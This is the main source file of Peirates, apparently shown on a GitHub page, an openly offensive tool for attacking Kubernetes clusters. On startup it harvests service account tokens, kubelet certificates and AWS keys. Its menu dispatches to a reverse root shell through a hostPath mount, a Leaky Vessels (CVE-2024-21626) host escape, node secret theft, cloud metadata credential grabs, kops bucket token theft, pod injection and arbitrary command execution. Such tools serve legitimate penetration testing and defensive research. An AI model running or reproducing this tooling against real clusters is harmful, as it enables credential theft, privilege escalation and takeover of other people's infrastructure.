-
Notifications
You must be signed in to change notification settings - Fork 122
/
peirates.go
626 lines (498 loc) · 20.1 KB
/
peirates.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
package peirates
// Peirates - an Attack tool for Kubernetes clusters
import (
"errors"
"fmt"
"io"
"os"
"os/exec"
"strings"
"github.com/ergochat/readline"
)
// Verbosity mode - if set to true, DEBUG messages will be printed to STDOUT.
var Verbose bool
// If this option is on, kubectl commands will be preceded with an auth can-i
// check. Note that this only checks against RBAC, such that admission
// controllers can still block an action that RBAC permits.
var UseAuthCanI bool = true
//------------------------------------------------------------------------------------------------------------------------------------------------
// Main starts Peirates[]
func Main() {
// Peirates version string
var version = "1.1.26b"
var err error
// Set up main menu tab completion
var completer *readline.PrefixCompleter = setUpCompletionMainMenu()
// Menu detail level
// - true: the "full" menu that Peirates had classically
// - false: a shorter menu of options - all options still work, but not all are shown
var fullMenu bool = true
// AWS credentials currently in use.
var awsCredentials AWSCredentials
// Make room for an assumed role.
var assumedAWSrole AWSCredentials
detectCloud := populateAndCheckCloudProviders()
// Create a global variable named "connectionString" initialized to default values
connectionString := ImportPodServiceAccountToken()
cmdOpts := CommandLineOptions{connectionConfig: &connectionString}
// the interactive boolean tracks whether the user is running peirates in menu mode (true)
// or in command-line mode (false)
interactive := true
// Output file logging - new stealth feature
var logToFile = false
var outputFileName string
// Struct for some functions
var podInfo PodDetails
// Run the option parser to initialize connectionStrings
parseOptions(&cmdOpts)
// Check whether the -m / --module flag has been used to run just a specific module instead
// of the menu.
if cmdOpts.moduleToRun != "" {
interactive = false
}
// List of service accounts gathered so far
var serviceAccounts []ServiceAccount
if len(connectionString.TokenName) > 0 {
AddNewServiceAccount(connectionString.TokenName, connectionString.Token, "Loaded at startup", &serviceAccounts)
}
// List of current client cert/key pairs
clientCertificates := []ClientCertificateKeyPair{}
// FEATURE to Write: store discovered namespaces, using multiple methods for gathering them.
// namespaces := []string
// print the banner, so that any node credentials pulled are not out of place.
printBanner(interactive, version)
// Add the kubelet kubeconfig and authentication information if available.
err = checkForNodeCredentials(&clientCertificates)
if err != nil {
println("Problem with credentials: %v", err)
}
// If there are client certs, but no service accounts, switch to the first client cert
if (len(serviceAccounts) == 0) && (len(clientCertificates) > 0) {
assignAuthenticationCertificateAndKeyToConnection(clientCertificates[0], &connectionString)
}
// Add the service account tokens for any pods found in /var/lib/kubelet/pods/.
gatherPodCredentials(&serviceAccounts, interactive, false)
// Check environment variables - see KUBERNETES_SERVICE_HOST and KUBERNETES_SERVICE_PORT
// Watch the documentation on these variables for changes:
// https://kubernetes.io/docs/concepts/containers/container-environment-variables/
// Read AWS credentials from environment variables if present.
awsCredentials = PullIamCredentialsFromEnvironmentVariables()
// Collect the pod IP address if we are in a pod or on a node that has an eth0 interface.
eth0IP, err := GetMyIPAddress("eth0")
if err != nil {
eth0IP = ""
}
var input int
for ok := true; ok; ok = (input != 2) {
banner(connectionString, detectCloud, eth0IP, awsCredentials, assumedAWSrole)
var input string
l, err := readline.NewEx(&readline.Config{
Prompt: "\033[31m»\033[0m ",
HistoryFile: "/tmp/peirates.history",
AutoComplete: completer,
InterruptPrompt: "^C",
EOFPrompt: "exit",
HistorySearchFold: true,
// FuncFilterInputRune: filterInput,
})
if err != nil {
panic(err)
}
defer l.Close()
// l.CaptureExitSignal()
err = errors.New("empty")
if interactive {
printMenu(fullMenu)
// input, err = ReadLineStripWhitespace()
line, err := l.Readline()
if err == readline.ErrInterrupt {
if len(line) == 0 {
break
} else {
continue
}
} else if err == io.EOF {
break
}
input = strings.TrimSpace(line)
if err != nil {
continue
}
} else {
fmt.Println("----------------------------------------------------------------")
input = cmdOpts.moduleToRun
fmt.Printf("\nAttempting menu option %s\n\n", input)
}
////////////////////////////////////////////////////////////////////////////////
// REFACTOR ADVICE: Make these next few use a loop with items like this:
//
// items["kubectl "] = &handleKubectlSpace()
////////////////////////////////////////////////////////////////////////////////
// Handle kubectl commands before the switch menu.
const kubectlSpace = "kubectl "
if strings.HasPrefix(input, kubectlSpace) {
// remove the kubectl, then split the rest on whitespace
argumentsLine := strings.TrimPrefix(input, kubectlSpace)
arguments := strings.Fields(argumentsLine)
kubectlOutput, _, err := runKubectlSimple(connectionString, arguments...)
kubectlOutputString := string(kubectlOutput)
outputToUser(kubectlOutputString, logToFile, outputFileName)
// Note that we got an error code, in case it's the only output.
if err != nil {
println("[-] error returned running: ", input)
}
// Make sure not to go into the switch-case
pauseToHitEnter(interactive)
continue
}
// Handle kubectl-try-all requests
const kubectlTryAllSpace = "kubectl-try-all "
if strings.HasPrefix(input, kubectlTryAllSpace) {
// remove the kubectl-try-all, then split the rest on whitespace
argumentsLine := strings.TrimPrefix(input, kubectlTryAllSpace)
arguments := strings.Fields(argumentsLine)
_, _, err := attemptEveryAccount(false, &connectionString, &serviceAccounts, &clientCertificates, logToFile, outputFileName, arguments...)
// Note that we got an error code, in case it's the only output.
if err != nil {
println("[-] Could not perform action or received an error on: ", input)
}
// Make sure not to go into the switch-case
pauseToHitEnter(interactive)
continue
}
// Handle kubectl-try-all-until-success requests
const kubectlTryAllUntilSuccessSpace = "kubectl-try-all-until-success "
if strings.HasPrefix(input, kubectlTryAllUntilSuccessSpace) {
// remove the kubectl-try-all, then split the rest on whitespace
argumentsLine := strings.TrimPrefix(input, kubectlTryAllUntilSuccessSpace)
arguments := strings.Fields(argumentsLine)
_, _, err := attemptEveryAccount(true, &connectionString, &serviceAccounts, &clientCertificates, logToFile, outputFileName, arguments...)
// Note that we got an error code, in case it's the only output.
if err != nil {
println("[-] Could not perform action or received an error on: ", input)
}
// Make sure not to go into the switch-case
pauseToHitEnter(interactive)
continue
}
//
// Handle built-in filesystem commands before the switch menu
//
const pwd = "pwd"
if input == pwd {
// Print the current working directory
cwd, error := getCurrentDirectory()
if error != nil {
println("Error getting current directory: " + error.Error())
continue
}
println(cwd)
pauseToHitEnter(interactive)
continue
}
const cdSpace = "cd "
if strings.HasPrefix(input, cdSpace) {
// Trim off the newline - should we do this for all input anyway?
input = strings.TrimSuffix(input, "\n")
// Trim off the cd, then grab the argument.
// This will fail if there are spaces in the directory name - TODO: improve this.
argumentsLine := strings.TrimPrefix(input, cdSpace)
arguments := strings.Fields(argumentsLine)
directory := arguments[0]
// remove the cd, then try to change to that directory
changeDirectory(directory)
// Get the new directory and print its name
cwd, error := getCurrentDirectory()
if error != nil {
println("Error getting current directory: " + error.Error())
continue
}
println(cwd)
pauseToHitEnter(interactive)
continue
}
// cat to display files
const catSpace = "cat "
if strings.HasPrefix(input, catSpace) {
// Trim off the newline - should we do this for all input anyway?
input = strings.TrimSuffix(input, "\n")
// remove the cat, then split the rest on whitespace
argumentsLine := strings.TrimPrefix(input, catSpace)
spaceDelimitedSet := strings.Fields(argumentsLine)
for _, file := range spaceDelimitedSet {
err := displayFile(file)
if err != nil {
println("Error displaying file: " + file + " due to " + err.Error())
}
}
pauseToHitEnter(interactive)
continue
}
// ls to list directories - treat this differently if it has no arguments
const lsSpace = "ls "
if strings.HasPrefix(input, lsSpace) {
// Trim off the newline - should we do this for all input anyway?
input = strings.TrimSuffix(input, "\n")
// remove the ls, then split the rest on whitespace
argumentsLine := strings.TrimPrefix(input, lsSpace)
spaceDelimitedSet := strings.Fields(argumentsLine)
for _, dir := range spaceDelimitedSet {
// Check for flags - reject them
if strings.HasPrefix(dir, "-") {
println("ERROR: Flags are not supported in this version of ls.")
continue
}
err := listDirectory(dir)
if err != nil {
println("Error listing directory: " + dir + " due to " + err.Error())
}
}
pauseToHitEnter(interactive)
continue
}
// ls with no arguments means list the current directory
const ls = "ls"
if strings.HasPrefix(input, ls) {
error := listDirectory(".")
if error != nil {
println("Error listing directory: " + error.Error())
}
pauseToHitEnter(interactive)
continue
}
// Handle shell commands before the switch menu
const shellSpace = "shell "
const shell = "shell"
// Handle when the user doesn't know to put a command after "shell"
if input == shell {
println("Enter a command or type 'exit'")
input, err = ReadLineStripWhitespace()
if err != nil {
println("error in reading input" + err.Error())
continue
}
input = shellSpace + input
}
if strings.HasPrefix(input, shellSpace) {
// trim the newline, remove the shell, then split the rest on whitespace
input = strings.TrimSuffix(input, "\n")
for input != "" && input != "exit" {
argumentsLine := strings.TrimPrefix(input, shellSpace)
spaceDelimitedSet := strings.Fields(argumentsLine)
// pop the first item so we can pass it in separately
command, arguments := spaceDelimitedSet[0], spaceDelimitedSet[1:]
/* #gosec G204 - this code is intended to run arbitrary commands for the user */
cmd := exec.Command(command, arguments...)
out, err := cmd.CombinedOutput()
outputToUser(string(out), logToFile, outputFileName)
if err != nil {
println("running command failed with " + err.Error())
}
println("Enter another command or type 'exit'")
input, err = ReadLineStripWhitespace()
if err != nil {
println("error in reading input")
input = "exit"
}
}
// Make sure not to go into the switch-case
continue
}
const curlSpace = "curl "
if strings.HasPrefix(input, curlSpace) {
// remove the curl, then split the rest on whitespace
argumentsLine := strings.TrimPrefix(input, curlSpace)
arguments := strings.Fields(argumentsLine)
// Pass the arguments to the curlNonWizard to construct a request object.
request, https, ignoreTLSErrors, caCertPath, err := curlNonWizard(arguments...)
if err != nil {
println("Could not create request.")
pauseToHitEnter(interactive)
continue
}
responseBody, err := DoHTTPRequestAndGetBody(request, https, ignoreTLSErrors, caCertPath)
if err != nil {
println("Request produced an error.")
}
outputToUser(string(responseBody), logToFile, outputFileName)
pauseToHitEnter(interactive)
continue
}
// Handle outputfile commands before the switch menu
// Activate via "outputfile <filename>"
const outputFile = "outputfile "
if strings.HasPrefix(input, outputFile) {
// remove the outputfile prefix, then get a filename from the rest
input = strings.TrimPrefix(input, outputFile)
// confirm that outputfile only has one argument.
if strings.Contains(input, " ") {
println("Output file name must not contain spaces.")
pauseToHitEnter(interactive)
continue
}
// Set the output file to that argument and set logToFile to true.
logToFile = true
outputFileName = input
println("Output file set to: " + outputFileName)
// If there is no argument, set logToFile to false.
pauseToHitEnter(interactive)
continue
}
// Deactivate via "outputfile"
const outputFileBare = "outputfile"
if strings.HasPrefix(input, outputFileBare) {
println("Output file name is empty - deactivating output to file.")
logToFile = false
pauseToHitEnter(interactive)
continue
}
// Handle enumerate-dns before the interactive menu
// const enumerateDNS = "enumerate-dns"
// if strings.HasPrefix(input, enumerateDNS) {
// // Run the DNS enumeration
// enumerateDNS()
// pauseToHitEnter(interactive)
// continue
// }
// Peirates MAIN MENU
switch input {
// exit
case "exit", "quit":
os.Exit(0)
// [0] Run a kubectl command in the current namespace, API server and service account context
case "0", "90", "kubectl":
err = kubectl_interactive(connectionString)
if err != nil {
println("[-] Error running kubectl: ", err)
}
// [1] List, maintain, or switch service account contexts [sa-menu] (try: list-sa *, switch-sa, get-sa)
case "switchsa", "saswitch", "switch-sa", "sa-switch":
switchServiceAccounts(serviceAccounts, &connectionString, logToFile, outputFileName)
case "listsa", "list-sa", "salist", "sa-list", "get-sa":
listServiceAccounts(serviceAccounts, connectionString, logToFile, outputFileName)
case "1", "sa-menu", "service-account-menu", "sa", "service-account":
saMenu(&serviceAccounts, &connectionString, interactive, logToFile, outputFileName)
case "decode-jwt", "decode-sa", "decodejwt", "decodesa":
decodeTokenInteractive(serviceAccounts, &connectionString, logToFile, outputFileName, interactive)
// [2] List and/or change namespaces [ns-menu] (try: list-ns, switch-ns, get-ns)
case "list-ns", "listns", "nslist", "ns-list", "get-ns", "getns":
listNamespaces(connectionString)
case "switch-ns", "switchns", "nsswitch", "ns-switch":
menuSwitchNamespaces(&connectionString)
case "2", "ns-menu", "namespace-menu", "ns", "namespace":
interactiveNSMenu(&connectionString)
// [3] Get list of pods
case "3", "get-pods", "list-pods":
printListOfPods(connectionString)
//[4] Get complete info on all pods (json)
case "4", "dump-podinfo", "dump-pod-info":
GetPodsInfo(connectionString, &podInfo)
// [6] Enter AWS IAM credentials manually [enter-aws-credentials]
case "6", "enter-aws-credentials", "aws-creds":
credentials, err := EnterIamCredentialsForAWS()
if err != nil {
println("[-] Error entering AWS credentials: ", err)
break
}
awsCredentials = credentials
println(" New AWS credentials are: \n")
DisplayAWSIAMCredentials(awsCredentials)
// [7] Attempt to Assume a Different AWS Role [aws-assume-role]
case "7", "aws-assume-role":
assumeAWSrole(awsCredentials, &assumedAWSrole, interactive)
// [8] Deactivate assumed AWS role [aws-empty-assumed-role]
case "8", "aws-empty-assumed-role", "empty-aws-assumed-role":
assumedAWSrole.AccessKeyId = ""
assumedAWSrole.accountName = ""
// [9] Switch authentication contexts: certificate-based authentication (kubelet, kubeproxy, manually-entered) [cert-menu]
case "9", "cert-menu":
certMenu(&clientCertificates, &connectionString, interactive)
// [10] List secrets in this namespace from API server [list-secrets, get-secrets]
case "10", "list-secrets", "get-secrets":
listSecrets(&connectionString)
// [11] Get a service account token from a secret
case "11", "get-secret", "secret-to-sa":
getServiceAccountTokenFromSecret(connectionString, &serviceAccounts, interactive)
// [5] Check all pods for volume mounts
case "5", "find-volume-mounts", "find-mounts":
findVolumeMounts(connectionString, &podInfo)
// [20] Gain a reverse rootshell by launching a hostPath / pod
case "20", "attack-pod-hostpath-mount", "attack-hostpath-mount", "attack-pod-mount", "attack-hostmount-pod", "attack-mount-pod":
attackHostPathMount(connectionString, interactive)
// [12] Request IAM credentials from AWS Metadata API [AWS only]
case "12", "get-aws-token":
result, err := getAWSToken(interactive)
if err != nil {
awsCredentials = result
}
// [13] Request IAM credentials from GCP Metadata API [GCP only]
case "13", "get-gcp-token":
getGCPToken(interactive)
// [14] Request kube-env from GCP Metadata API [GCP only]
case "14", "attack-kube-env-gcp":
attackKubeEnvGCP(interactive)
// [15] Pull Kubernetes service account tokens from Kop's bucket in GCS [GCP only]
case "15", "attack-kops-gcs-1":
err := KopsAttackGCP(&serviceAccounts)
if err != nil {
println("Kops attack failed on GCP.")
}
pauseToHitEnter(interactive)
// [16] Pull Kubernetes service account tokens from kops' S3 bucket (AWS only) [attack-kops-aws-1]
case "16":
KopsAttackAWS(&serviceAccounts, awsCredentials, assumedAWSrole, interactive)
case "17", "aws-s3-ls", "aws-ls-s3", "ls-s3", "s3-ls":
// [17] List AWS S3 Buckets accessible (Auto-Refreshing Metadata API credentials) [AWS]
awsS3ListBucketsMenu(awsCredentials, assumedAWSrole)
case "18", "aws-s3-ls-objects", "aws-s3-list-objects", "aws-s3-list-bucket":
// [18] List contents of an AWS S3 Bucket [AWS]
awsS3ListBucketObjectsMenu(awsCredentials, assumedAWSrole)
// [21] Run command in one or all pods in this namespace
case "21", "exec-via-api":
execInPodMenu(connectionString, interactive)
// [22] Use the kubelet to gain the token in every pod where we can run a command
case "22", "exec-via-kubelet", "exec-via-kubelets":
ExecuteCodeOnKubelet(connectionString, &serviceAccounts)
// [23] Use CVE-2024-21626 (Leaky Vessels) to get a shell on the host (runc versions <1.12) [leakyvessels] *
case "23", "leakyvessels", "cve-2024-21626":
_ = createLeakyVesselPod(connectionString)
// [30] Steal secrets from the node filesystem [nodefs-steal-secrets]
case "30", "nodefs-steal-secrets", "steal-nodefs-secrets":
println("\nAttempting to steal secrets from the node filesystem - this will return no output if run in a container or if /var/lib/kubelet is inaccessible.\n")
gatherPodCredentials(&serviceAccounts, true, true)
// [31] List all secrets stolen from the node filesystem [nodefs-secrets-list] (unimplemented)
case "31", "nodefs-secrets-list", "list-nodefs-secrets":
println("Item not yet implemented")
// [89] Inject peirates into another pod via API Server [inject-and-exec]
case "89", "inject-and-exec":
injectAndExecMenu(connectionString)
// [91] Make an HTTP request (GET or POST) to a URL of your choice [curl]
// This is available both on the main menu line and interactively.
// Here's the interactive.
case "91", "curl":
curl(interactive, logToFile, outputFileName)
// [92] Deactivate "auth can-i" checking before attempting actions [set-auth-can-i]
case "92", "set-auth-can-i":
setAuthCanIMenu(&UseAuthCanI, interactive)
// [93] Run a simple all-ports TCP port scan against an IP address [tcpscan]
case "93", "tcpscan", "tcp scan", "portscan", "port scan":
tcpScan(interactive)
case "94", "enumerate-dns":
_ = enumerateDNS()
case "full", "help":
fullMenu = true
// Skip the "press enter to continue"
continue
case "short", "minimal":
fullMenu = false
// Skip the "press enter to continue"
continue
default:
fmt.Println("Command unrecognized.")
}
if !interactive {
os.Exit(0)
}
clearScreen(interactive)
}
}